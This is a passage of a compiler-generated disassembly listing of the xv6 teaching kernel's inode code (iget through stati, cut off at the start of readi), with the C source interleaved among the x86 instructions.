80101789: 8b 00 mov (%eax),%eax
8010178b: 3b 45 08 cmp 0x8(%ebp),%eax
8010178e: 75 2b jne 801017bb <iget+0x61>
80101790: 8b 45 f4 mov -0xc(%ebp),%eax
80101793: 8b 40 04 mov 0x4(%eax),%eax
80101796: 3b 45 0c cmp 0xc(%ebp),%eax
80101799: 75 20 jne 801017bb <iget+0x61>
ip->ref++;
8010179b: 8b 45 f4 mov -0xc(%ebp),%eax
8010179e: 8b 40 08 mov 0x8(%eax),%eax
801017a1: 8d 50 01 lea 0x1(%eax),%edx
801017a4: 8b 45 f4 mov -0xc(%ebp),%eax
801017a7: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
801017aa: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801017b1: e8 0f 3b 00 00 call 801052c5 <release>
return ip;
801017b6: 8b 45 f4 mov -0xc(%ebp),%eax
801017b9: eb 6f jmp 8010182a <iget+0xd0>
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
801017bb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801017bf: 75 10 jne 801017d1 <iget+0x77>
801017c1: 8b 45 f4 mov -0xc(%ebp),%eax
801017c4: 8b 40 08 mov 0x8(%eax),%eax
801017c7: 85 c0 test %eax,%eax
801017c9: 75 06 jne 801017d1 <iget+0x77>
empty = ip;
801017cb: 8b 45 f4 mov -0xc(%ebp),%eax
801017ce: 89 45 f0 mov %eax,-0x10(%ebp)
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
801017d1: 83 45 f4 50 addl $0x50,-0xc(%ebp)
801017d5: 81 7d f4 34 32 11 80 cmpl $0x80113234,-0xc(%ebp)
801017dc: 72 9e jb 8010177c <iget+0x22>
if(empty == 0 && ip->ref == 0) // Remember empty slot.
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
801017de: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801017e2: 75 0c jne 801017f0 <iget+0x96>
panic("iget: no inodes");
801017e4: c7 04 24 6f 8a 10 80 movl $0x80108a6f,(%esp)
801017eb: e8 4a ed ff ff call 8010053a <panic>
ip = empty;
801017f0: 8b 45 f0 mov -0x10(%ebp),%eax
801017f3: 89 45 f4 mov %eax,-0xc(%ebp)
ip->dev = dev;
801017f6: 8b 45 f4 mov -0xc(%ebp),%eax
801017f9: 8b 55 08 mov 0x8(%ebp),%edx
801017fc: 89 10 mov %edx,(%eax)
ip->inum = inum;
801017fe: 8b 45 f4 mov -0xc(%ebp),%eax
80101801: 8b 55 0c mov 0xc(%ebp),%edx
80101804: 89 50 04 mov %edx,0x4(%eax)
ip->ref = 1;
80101807: 8b 45 f4 mov -0xc(%ebp),%eax
8010180a: c7 40 08 01 00 00 00 movl $0x1,0x8(%eax)
ip->flags = 0;
80101811: 8b 45 f4 mov -0xc(%ebp),%eax
80101814: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
release(&icache.lock);
8010181b: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101822: e8 9e 3a 00 00 call 801052c5 <release>
return ip;
80101827: 8b 45 f4 mov -0xc(%ebp),%eax
}
8010182a: c9 leave
8010182b: c3 ret
8010182c <idup>:
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
8010182c: 55 push %ebp
8010182d: 89 e5 mov %esp,%ebp
8010182f: 83 ec 18 sub $0x18,%esp
acquire(&icache.lock);
80101832: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101839: e8 25 3a 00 00 call 80105263 <acquire>
ip->ref++;
8010183e: 8b 45 08 mov 0x8(%ebp),%eax
80101841: 8b 40 08 mov 0x8(%eax),%eax
80101844: 8d 50 01 lea 0x1(%eax),%edx
80101847: 8b 45 08 mov 0x8(%ebp),%eax
8010184a: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
8010184d: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101854: e8 6c 3a 00 00 call 801052c5 <release>
return ip;
80101859: 8b 45 08 mov 0x8(%ebp),%eax
}
8010185c: c9 leave
8010185d: c3 ret
8010185e <ilock>:
// Lock the given inode.
// Reads the inode from disk if necessary.
void
ilock(struct inode *ip)
{
8010185e: 55 push %ebp
8010185f: 89 e5 mov %esp,%ebp
80101861: 83 ec 28 sub $0x28,%esp
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
80101864: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80101868: 74 0a je 80101874 <ilock+0x16>
8010186a: 8b 45 08 mov 0x8(%ebp),%eax
8010186d: 8b 40 08 mov 0x8(%eax),%eax
80101870: 85 c0 test %eax,%eax
80101872: 7f 0c jg 80101880 <ilock+0x22>
panic("ilock");
80101874: c7 04 24 7f 8a 10 80 movl $0x80108a7f,(%esp)
8010187b: e8 ba ec ff ff call 8010053a <panic>
acquire(&icache.lock);
80101880: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101887: e8 d7 39 00 00 call 80105263 <acquire>
while(ip->flags & I_BUSY)
8010188c: eb 13 jmp 801018a1 <ilock+0x43>
sleep(ip, &icache.lock);
8010188e: c7 44 24 04 60 22 11 movl $0x80112260,0x4(%esp)
80101895: 80
80101896: 8b 45 08 mov 0x8(%ebp),%eax
80101899: 89 04 24 mov %eax,(%esp)
8010189c: e8 ed 36 00 00 call 80104f8e <sleep>
if(ip == 0 || ip->ref < 1)
panic("ilock");
acquire(&icache.lock);
while(ip->flags & I_BUSY)
801018a1: 8b 45 08 mov 0x8(%ebp),%eax
801018a4: 8b 40 0c mov 0xc(%eax),%eax
801018a7: 83 e0 01 and $0x1,%eax
801018aa: 85 c0 test %eax,%eax
801018ac: 75 e0 jne 8010188e <ilock+0x30>
sleep(ip, &icache.lock);
ip->flags |= I_BUSY;
801018ae: 8b 45 08 mov 0x8(%ebp),%eax
801018b1: 8b 40 0c mov 0xc(%eax),%eax
801018b4: 83 c8 01 or $0x1,%eax
801018b7: 89 c2 mov %eax,%edx
801018b9: 8b 45 08 mov 0x8(%ebp),%eax
801018bc: 89 50 0c mov %edx,0xc(%eax)
release(&icache.lock);
801018bf: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801018c6: e8 fa 39 00 00 call 801052c5 <release>
if(!(ip->flags & I_VALID)){
801018cb: 8b 45 08 mov 0x8(%ebp),%eax
801018ce: 8b 40 0c mov 0xc(%eax),%eax
801018d1: 83 e0 02 and $0x2,%eax
801018d4: 85 c0 test %eax,%eax
801018d6: 0f 85 ce 00 00 00 jne 801019aa <ilock+0x14c>
bp = bread(ip->dev, IBLOCK(ip->inum));
801018dc: 8b 45 08 mov 0x8(%ebp),%eax
801018df: 8b 40 04 mov 0x4(%eax),%eax
801018e2: c1 e8 03 shr $0x3,%eax
801018e5: 8d 50 02 lea 0x2(%eax),%edx
801018e8: 8b 45 08 mov 0x8(%ebp),%eax
801018eb: 8b 00 mov (%eax),%eax
801018ed: 89 54 24 04 mov %edx,0x4(%esp)
801018f1: 89 04 24 mov %eax,(%esp)
801018f4: e8 ad e8 ff ff call 801001a6 <bread>
801018f9: 89 45 f4 mov %eax,-0xc(%ebp)
dip = (struct dinode*)bp->data + ip->inum%IPB;
801018fc: 8b 45 f4 mov -0xc(%ebp),%eax
801018ff: 8d 50 18 lea 0x18(%eax),%edx
80101902: 8b 45 08 mov 0x8(%ebp),%eax
80101905: 8b 40 04 mov 0x4(%eax),%eax
80101908: 83 e0 07 and $0x7,%eax
8010190b: c1 e0 06 shl $0x6,%eax
8010190e: 01 d0 add %edx,%eax
80101910: 89 45 f0 mov %eax,-0x10(%ebp)
ip->type = dip->type;
80101913: 8b 45 f0 mov -0x10(%ebp),%eax
80101916: 0f b7 10 movzwl (%eax),%edx
80101919: 8b 45 08 mov 0x8(%ebp),%eax
8010191c: 66 89 50 10 mov %dx,0x10(%eax)
ip->major = dip->major;
80101920: 8b 45 f0 mov -0x10(%ebp),%eax
80101923: 0f b7 50 02 movzwl 0x2(%eax),%edx
80101927: 8b 45 08 mov 0x8(%ebp),%eax
8010192a: 66 89 50 12 mov %dx,0x12(%eax)
ip->minor = dip->minor;
8010192e: 8b 45 f0 mov -0x10(%ebp),%eax
80101931: 0f b7 50 04 movzwl 0x4(%eax),%edx
80101935: 8b 45 08 mov 0x8(%ebp),%eax
80101938: 66 89 50 14 mov %dx,0x14(%eax)
ip->nlink = dip->nlink;
8010193c: 8b 45 f0 mov -0x10(%ebp),%eax
8010193f: 0f b7 50 06 movzwl 0x6(%eax),%edx
80101943: 8b 45 08 mov 0x8(%ebp),%eax
80101946: 66 89 50 16 mov %dx,0x16(%eax)
ip->size = dip->size;
8010194a: 8b 45 f0 mov -0x10(%ebp),%eax
8010194d: 8b 50 08 mov 0x8(%eax),%edx
80101950: 8b 45 08 mov 0x8(%ebp),%eax
80101953: 89 50 18 mov %edx,0x18(%eax)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101956: 8b 45 f0 mov -0x10(%ebp),%eax
80101959: 8d 50 0c lea 0xc(%eax),%edx
8010195c: 8b 45 08 mov 0x8(%ebp),%eax
8010195f: 83 c0 1c add $0x1c,%eax
80101962: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
80101969: 00
8010196a: 89 54 24 04 mov %edx,0x4(%esp)
8010196e: 89 04 24 mov %eax,(%esp)
80101971: e8 13 3c 00 00 call 80105589 <memmove>
brelse(bp);
80101976: 8b 45 f4 mov -0xc(%ebp),%eax
80101979: 89 04 24 mov %eax,(%esp)
8010197c: e8 96 e8 ff ff call 80100217 <brelse>
ip->flags |= I_VALID;
80101981: 8b 45 08 mov 0x8(%ebp),%eax
80101984: 8b 40 0c mov 0xc(%eax),%eax
80101987: 83 c8 02 or $0x2,%eax
8010198a: 89 c2 mov %eax,%edx
8010198c: 8b 45 08 mov 0x8(%ebp),%eax
8010198f: 89 50 0c mov %edx,0xc(%eax)
if(ip->type == 0)
80101992: 8b 45 08 mov 0x8(%ebp),%eax
80101995: 0f b7 40 10 movzwl 0x10(%eax),%eax
80101999: 66 85 c0 test %ax,%ax
8010199c: 75 0c jne 801019aa <ilock+0x14c>
panic("ilock: no type");
8010199e: c7 04 24 85 8a 10 80 movl $0x80108a85,(%esp)
801019a5: e8 90 eb ff ff call 8010053a <panic>
}
}
801019aa: c9 leave
801019ab: c3 ret
801019ac <iunlock>:
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
801019ac: 55 push %ebp
801019ad: 89 e5 mov %esp,%ebp
801019af: 83 ec 18 sub $0x18,%esp
if(ip == 0 || !(ip->flags & I_BUSY) || ip->ref < 1)
801019b2: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801019b6: 74 17 je 801019cf <iunlock+0x23>
801019b8: 8b 45 08 mov 0x8(%ebp),%eax
801019bb: 8b 40 0c mov 0xc(%eax),%eax
801019be: 83 e0 01 and $0x1,%eax
801019c1: 85 c0 test %eax,%eax
801019c3: 74 0a je 801019cf <iunlock+0x23>
801019c5: 8b 45 08 mov 0x8(%ebp),%eax
801019c8: 8b 40 08 mov 0x8(%eax),%eax
801019cb: 85 c0 test %eax,%eax
801019cd: 7f 0c jg 801019db <iunlock+0x2f>
panic("iunlock");
801019cf: c7 04 24 94 8a 10 80 movl $0x80108a94,(%esp)
801019d6: e8 5f eb ff ff call 8010053a <panic>
acquire(&icache.lock);
801019db: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801019e2: e8 7c 38 00 00 call 80105263 <acquire>
ip->flags &= ~I_BUSY;
801019e7: 8b 45 08 mov 0x8(%ebp),%eax
801019ea: 8b 40 0c mov 0xc(%eax),%eax
801019ed: 83 e0 fe and $0xfffffffe,%eax
801019f0: 89 c2 mov %eax,%edx
801019f2: 8b 45 08 mov 0x8(%ebp),%eax
801019f5: 89 50 0c mov %edx,0xc(%eax)
wakeup(ip);
801019f8: 8b 45 08 mov 0x8(%ebp),%eax
801019fb: 89 04 24 mov %eax,(%esp)
801019fe: e8 67 36 00 00 call 8010506a <wakeup>
release(&icache.lock);
80101a03: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101a0a: e8 b6 38 00 00 call 801052c5 <release>
}
80101a0f: c9 leave
80101a10: c3 ret
80101a11 <iput>:
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
{
80101a11: 55 push %ebp
80101a12: 89 e5 mov %esp,%ebp
80101a14: 83 ec 18 sub $0x18,%esp
acquire(&icache.lock);
80101a17: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101a1e: e8 40 38 00 00 call 80105263 <acquire>
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
80101a23: 8b 45 08 mov 0x8(%ebp),%eax
80101a26: 8b 40 08 mov 0x8(%eax),%eax
80101a29: 83 f8 01 cmp $0x1,%eax
80101a2c: 0f 85 93 00 00 00 jne 80101ac5 <iput+0xb4>
80101a32: 8b 45 08 mov 0x8(%ebp),%eax
80101a35: 8b 40 0c mov 0xc(%eax),%eax
80101a38: 83 e0 02 and $0x2,%eax
80101a3b: 85 c0 test %eax,%eax
80101a3d: 0f 84 82 00 00 00 je 80101ac5 <iput+0xb4>
80101a43: 8b 45 08 mov 0x8(%ebp),%eax
80101a46: 0f b7 40 16 movzwl 0x16(%eax),%eax
80101a4a: 66 85 c0 test %ax,%ax
80101a4d: 75 76 jne 80101ac5 <iput+0xb4>
// inode has no links and no other references: truncate and free.
if(ip->flags & I_BUSY)
80101a4f: 8b 45 08 mov 0x8(%ebp),%eax
80101a52: 8b 40 0c mov 0xc(%eax),%eax
80101a55: 83 e0 01 and $0x1,%eax
80101a58: 85 c0 test %eax,%eax
80101a5a: 74 0c je 80101a68 <iput+0x57>
panic("iput busy");
80101a5c: c7 04 24 9c 8a 10 80 movl $0x80108a9c,(%esp)
80101a63: e8 d2 ea ff ff call 8010053a <panic>
ip->flags |= I_BUSY;
80101a68: 8b 45 08 mov 0x8(%ebp),%eax
80101a6b: 8b 40 0c mov 0xc(%eax),%eax
80101a6e: 83 c8 01 or $0x1,%eax
80101a71: 89 c2 mov %eax,%edx
80101a73: 8b 45 08 mov 0x8(%ebp),%eax
80101a76: 89 50 0c mov %edx,0xc(%eax)
release(&icache.lock);
80101a79: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101a80: e8 40 38 00 00 call 801052c5 <release>
itrunc(ip);
80101a85: 8b 45 08 mov 0x8(%ebp),%eax
80101a88: 89 04 24 mov %eax,(%esp)
80101a8b: e8 7d 01 00 00 call 80101c0d <itrunc>
ip->type = 0;
80101a90: 8b 45 08 mov 0x8(%ebp),%eax
80101a93: 66 c7 40 10 00 00 movw $0x0,0x10(%eax)
iupdate(ip);
80101a99: 8b 45 08 mov 0x8(%ebp),%eax
80101a9c: 89 04 24 mov %eax,(%esp)
80101a9f: e8 fe fb ff ff call 801016a2 <iupdate>
acquire(&icache.lock);
80101aa4: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101aab: e8 b3 37 00 00 call 80105263 <acquire>
ip->flags = 0;
80101ab0: 8b 45 08 mov 0x8(%ebp),%eax
80101ab3: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
wakeup(ip);
80101aba: 8b 45 08 mov 0x8(%ebp),%eax
80101abd: 89 04 24 mov %eax,(%esp)
80101ac0: e8 a5 35 00 00 call 8010506a <wakeup>
}
ip->ref--;
80101ac5: 8b 45 08 mov 0x8(%ebp),%eax
80101ac8: 8b 40 08 mov 0x8(%eax),%eax
80101acb: 8d 50 ff lea -0x1(%eax),%edx
80101ace: 8b 45 08 mov 0x8(%ebp),%eax
80101ad1: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
80101ad4: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101adb: e8 e5 37 00 00 call 801052c5 <release>
}
80101ae0: c9 leave
80101ae1: c3 ret
80101ae2 <iunlockput>:
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
80101ae2: 55 push %ebp
80101ae3: 89 e5 mov %esp,%ebp
80101ae5: 83 ec 18 sub $0x18,%esp
iunlock(ip);
80101ae8: 8b 45 08 mov 0x8(%ebp),%eax
80101aeb: 89 04 24 mov %eax,(%esp)
80101aee: e8 b9 fe ff ff call 801019ac <iunlock>
iput(ip);
80101af3: 8b 45 08 mov 0x8(%ebp),%eax
80101af6: 89 04 24 mov %eax,(%esp)
80101af9: e8 13 ff ff ff call 80101a11 <iput>
}
80101afe: c9 leave
80101aff: c3 ret
80101b00 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
80101b00: 55 push %ebp
80101b01: 89 e5 mov %esp,%ebp
80101b03: 53 push %ebx
80101b04: 83 ec 24 sub $0x24,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
80101b07: 83 7d 0c 0b cmpl $0xb,0xc(%ebp)
80101b0b: 77 3e ja 80101b4b <bmap+0x4b>
if((addr = ip->addrs[bn]) == 0)
80101b0d: 8b 45 08 mov 0x8(%ebp),%eax
80101b10: 8b 55 0c mov 0xc(%ebp),%edx
80101b13: 83 c2 04 add $0x4,%edx
80101b16: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
80101b1a: 89 45 f4 mov %eax,-0xc(%ebp)
80101b1d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101b21: 75 20 jne 80101b43 <bmap+0x43>
ip->addrs[bn] = addr = balloc(ip->dev);
80101b23: 8b 45 08 mov 0x8(%ebp),%eax
80101b26: 8b 00 mov (%eax),%eax
80101b28: 89 04 24 mov %eax,(%esp)
80101b2b: e8 5b f8 ff ff call 8010138b <balloc>
80101b30: 89 45 f4 mov %eax,-0xc(%ebp)
80101b33: 8b 45 08 mov 0x8(%ebp),%eax
80101b36: 8b 55 0c mov 0xc(%ebp),%edx
80101b39: 8d 4a 04 lea 0x4(%edx),%ecx
80101b3c: 8b 55 f4 mov -0xc(%ebp),%edx
80101b3f: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4)
return addr;
80101b43: 8b 45 f4 mov -0xc(%ebp),%eax
80101b46: e9 bc 00 00 00 jmp 80101c07 <bmap+0x107>
}
bn -= NDIRECT;
80101b4b: 83 6d 0c 0c subl $0xc,0xc(%ebp)
if(bn < NINDIRECT){
80101b4f: 83 7d 0c 7f cmpl $0x7f,0xc(%ebp)
80101b53: 0f 87 a2 00 00 00 ja 80101bfb <bmap+0xfb>
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
80101b59: 8b 45 08 mov 0x8(%ebp),%eax
80101b5c: 8b 40 4c mov 0x4c(%eax),%eax
80101b5f: 89 45 f4 mov %eax,-0xc(%ebp)
80101b62: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101b66: 75 19 jne 80101b81 <bmap+0x81>
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
80101b68: 8b 45 08 mov 0x8(%ebp),%eax
80101b6b: 8b 00 mov (%eax),%eax
80101b6d: 89 04 24 mov %eax,(%esp)
80101b70: e8 16 f8 ff ff call 8010138b <balloc>
80101b75: 89 45 f4 mov %eax,-0xc(%ebp)
80101b78: 8b 45 08 mov 0x8(%ebp),%eax
80101b7b: 8b 55 f4 mov -0xc(%ebp),%edx
80101b7e: 89 50 4c mov %edx,0x4c(%eax)
bp = bread(ip->dev, addr);
80101b81: 8b 45 08 mov 0x8(%ebp),%eax
80101b84: 8b 00 mov (%eax),%eax
80101b86: 8b 55 f4 mov -0xc(%ebp),%edx
80101b89: 89 54 24 04 mov %edx,0x4(%esp)
80101b8d: 89 04 24 mov %eax,(%esp)
80101b90: e8 11 e6 ff ff call 801001a6 <bread>
80101b95: 89 45 f0 mov %eax,-0x10(%ebp)
a = (uint*)bp->data;
80101b98: 8b 45 f0 mov -0x10(%ebp),%eax
80101b9b: 83 c0 18 add $0x18,%eax
80101b9e: 89 45 ec mov %eax,-0x14(%ebp)
if((addr = a[bn]) == 0){
80101ba1: 8b 45 0c mov 0xc(%ebp),%eax
80101ba4: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101bab: 8b 45 ec mov -0x14(%ebp),%eax
80101bae: 01 d0 add %edx,%eax
80101bb0: 8b 00 mov (%eax),%eax
80101bb2: 89 45 f4 mov %eax,-0xc(%ebp)
80101bb5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101bb9: 75 30 jne 80101beb <bmap+0xeb>
a[bn] = addr = balloc(ip->dev);
80101bbb: 8b 45 0c mov 0xc(%ebp),%eax
80101bbe: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101bc5: 8b 45 ec mov -0x14(%ebp),%eax
80101bc8: 8d 1c 02 lea (%edx,%eax,1),%ebx
80101bcb: 8b 45 08 mov 0x8(%ebp),%eax
80101bce: 8b 00 mov (%eax),%eax
80101bd0: 89 04 24 mov %eax,(%esp)
80101bd3: e8 b3 f7 ff ff call 8010138b <balloc>
80101bd8: 89 45 f4 mov %eax,-0xc(%ebp)
80101bdb: 8b 45 f4 mov -0xc(%ebp),%eax
80101bde: 89 03 mov %eax,(%ebx)
log_write(bp);
80101be0: 8b 45 f0 mov -0x10(%ebp),%eax
80101be3: 89 04 24 mov %eax,(%esp)
80101be6: e8 3a 1a 00 00 call 80103625 <log_write>
}
brelse(bp);
80101beb: 8b 45 f0 mov -0x10(%ebp),%eax
80101bee: 89 04 24 mov %eax,(%esp)
80101bf1: e8 21 e6 ff ff call 80100217 <brelse>
return addr;
80101bf6: 8b 45 f4 mov -0xc(%ebp),%eax
80101bf9: eb 0c jmp 80101c07 <bmap+0x107>
}
panic("bmap: out of range");
80101bfb: c7 04 24 a6 8a 10 80 movl $0x80108aa6,(%esp)
80101c02: e8 33 e9 ff ff call 8010053a <panic>
}
80101c07: 83 c4 24 add $0x24,%esp
80101c0a: 5b pop %ebx
80101c0b: 5d pop %ebp
80101c0c: c3 ret
80101c0d <itrunc>:
// to it (no directory entries referring to it)
// and has no in-memory reference to it (is
// not an open file or current directory).
static void
itrunc(struct inode *ip)
{
80101c0d: 55 push %ebp
80101c0e: 89 e5 mov %esp,%ebp
80101c10: 83 ec 28 sub $0x28,%esp
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101c13: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101c1a: eb 44 jmp 80101c60 <itrunc+0x53>
if(ip->addrs[i]){
80101c1c: 8b 45 08 mov 0x8(%ebp),%eax
80101c1f: 8b 55 f4 mov -0xc(%ebp),%edx
80101c22: 83 c2 04 add $0x4,%edx
80101c25: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
80101c29: 85 c0 test %eax,%eax
80101c2b: 74 2f je 80101c5c <itrunc+0x4f>
bfree(ip->dev, ip->addrs[i]);
80101c2d: 8b 45 08 mov 0x8(%ebp),%eax
80101c30: 8b 55 f4 mov -0xc(%ebp),%edx
80101c33: 83 c2 04 add $0x4,%edx
80101c36: 8b 54 90 0c mov 0xc(%eax,%edx,4),%edx
80101c3a: 8b 45 08 mov 0x8(%ebp),%eax
80101c3d: 8b 00 mov (%eax),%eax
80101c3f: 89 54 24 04 mov %edx,0x4(%esp)
80101c43: 89 04 24 mov %eax,(%esp)
80101c46: e8 8e f8 ff ff call 801014d9 <bfree>
ip->addrs[i] = 0;
80101c4b: 8b 45 08 mov 0x8(%ebp),%eax
80101c4e: 8b 55 f4 mov -0xc(%ebp),%edx
80101c51: 83 c2 04 add $0x4,%edx
80101c54: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4)
80101c5b: 00
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101c5c: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80101c60: 83 7d f4 0b cmpl $0xb,-0xc(%ebp)
80101c64: 7e b6 jle 80101c1c <itrunc+0xf>
bfree(ip->dev, ip->addrs[i]);
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
80101c66: 8b 45 08 mov 0x8(%ebp),%eax
80101c69: 8b 40 4c mov 0x4c(%eax),%eax
80101c6c: 85 c0 test %eax,%eax
80101c6e: 0f 84 9b 00 00 00 je 80101d0f <itrunc+0x102>
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101c74: 8b 45 08 mov 0x8(%ebp),%eax
80101c77: 8b 50 4c mov 0x4c(%eax),%edx
80101c7a: 8b 45 08 mov 0x8(%ebp),%eax
80101c7d: 8b 00 mov (%eax),%eax
80101c7f: 89 54 24 04 mov %edx,0x4(%esp)
80101c83: 89 04 24 mov %eax,(%esp)
80101c86: e8 1b e5 ff ff call 801001a6 <bread>
80101c8b: 89 45 ec mov %eax,-0x14(%ebp)
a = (uint*)bp->data;
80101c8e: 8b 45 ec mov -0x14(%ebp),%eax
80101c91: 83 c0 18 add $0x18,%eax
80101c94: 89 45 e8 mov %eax,-0x18(%ebp)
for(j = 0; j < NINDIRECT; j++){
80101c97: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
80101c9e: eb 3b jmp 80101cdb <itrunc+0xce>
if(a[j])
80101ca0: 8b 45 f0 mov -0x10(%ebp),%eax
80101ca3: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101caa: 8b 45 e8 mov -0x18(%ebp),%eax
80101cad: 01 d0 add %edx,%eax
80101caf: 8b 00 mov (%eax),%eax
80101cb1: 85 c0 test %eax,%eax
80101cb3: 74 22 je 80101cd7 <itrunc+0xca>
bfree(ip->dev, a[j]);
80101cb5: 8b 45 f0 mov -0x10(%ebp),%eax
80101cb8: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101cbf: 8b 45 e8 mov -0x18(%ebp),%eax
80101cc2: 01 d0 add %edx,%eax
80101cc4: 8b 10 mov (%eax),%edx
80101cc6: 8b 45 08 mov 0x8(%ebp),%eax
80101cc9: 8b 00 mov (%eax),%eax
80101ccb: 89 54 24 04 mov %edx,0x4(%esp)
80101ccf: 89 04 24 mov %eax,(%esp)
80101cd2: e8 02 f8 ff ff call 801014d9 <bfree>
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
a = (uint*)bp->data;
for(j = 0; j < NINDIRECT; j++){
80101cd7: 83 45 f0 01 addl $0x1,-0x10(%ebp)
80101cdb: 8b 45 f0 mov -0x10(%ebp),%eax
80101cde: 83 f8 7f cmp $0x7f,%eax
80101ce1: 76 bd jbe 80101ca0 <itrunc+0x93>
if(a[j])
bfree(ip->dev, a[j]);
}
brelse(bp);
80101ce3: 8b 45 ec mov -0x14(%ebp),%eax
80101ce6: 89 04 24 mov %eax,(%esp)
80101ce9: e8 29 e5 ff ff call 80100217 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
80101cee: 8b 45 08 mov 0x8(%ebp),%eax
80101cf1: 8b 50 4c mov 0x4c(%eax),%edx
80101cf4: 8b 45 08 mov 0x8(%ebp),%eax
80101cf7: 8b 00 mov (%eax),%eax
80101cf9: 89 54 24 04 mov %edx,0x4(%esp)
80101cfd: 89 04 24 mov %eax,(%esp)
80101d00: e8 d4 f7 ff ff call 801014d9 <bfree>
ip->addrs[NDIRECT] = 0;
80101d05: 8b 45 08 mov 0x8(%ebp),%eax
80101d08: c7 40 4c 00 00 00 00 movl $0x0,0x4c(%eax)
}
ip->size = 0;
80101d0f: 8b 45 08 mov 0x8(%ebp),%eax
80101d12: c7 40 18 00 00 00 00 movl $0x0,0x18(%eax)
iupdate(ip);
80101d19: 8b 45 08 mov 0x8(%ebp),%eax
80101d1c: 89 04 24 mov %eax,(%esp)
80101d1f: e8 7e f9 ff ff call 801016a2 <iupdate>
}
80101d24: c9 leave
80101d25: c3 ret
80101d26 <stati>:
// Copy stat information from inode.
void
stati(struct inode *ip, struct stat *st)
{
80101d26: 55 push %ebp
80101d27: 89 e5 mov %esp,%ebp
st->dev = ip->dev;
80101d29: 8b 45 08 mov 0x8(%ebp),%eax
80101d2c: 8b 00 mov (%eax),%eax
80101d2e: 89 c2 mov %eax,%edx
80101d30: 8b 45 0c mov 0xc(%ebp),%eax
80101d33: 89 50 04 mov %edx,0x4(%eax)
st->ino = ip->inum;
80101d36: 8b 45 08 mov 0x8(%ebp),%eax
80101d39: 8b 50 04 mov 0x4(%eax),%edx
80101d3c: 8b 45 0c mov 0xc(%ebp),%eax
80101d3f: 89 50 08 mov %edx,0x8(%eax)
st->type = ip->type;
80101d42: 8b 45 08 mov 0x8(%ebp),%eax
80101d45: 0f b7 50 10 movzwl 0x10(%eax),%edx
80101d49: 8b 45 0c mov 0xc(%ebp),%eax
80101d4c: 66 89 10 mov %dx,(%eax)
st->nlink = ip->nlink;
80101d4f: 8b 45 08 mov 0x8(%ebp),%eax
80101d52: 0f b7 50 16 movzwl 0x16(%eax),%edx
80101d56: 8b 45 0c mov 0xc(%ebp),%eax
80101d59: 66 89 50 0c mov %dx,0xc(%eax)
st->size = ip->size;
80101d5d: 8b 45 08 mov 0x8(%ebp),%eax
80101d60: 8b 50 18 mov 0x18(%eax),%edx
80101d63: 8b 45 0c mov 0xc(%ebp),%eax
80101d66: 89 50 10 mov %edx,0x10(%eax)
}
80101d69: 5d pop %ebp
80101d6a: c3 ret
80101d6b <readi>:
//PAGEBREAK!
// Read data from inode.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101d6b: 55 push %ebp
80101d6c: 89 e5 mov %esp,%ebp
80101d6e: 83 ec 28 sub $0x28,%esp
uint tot, m;
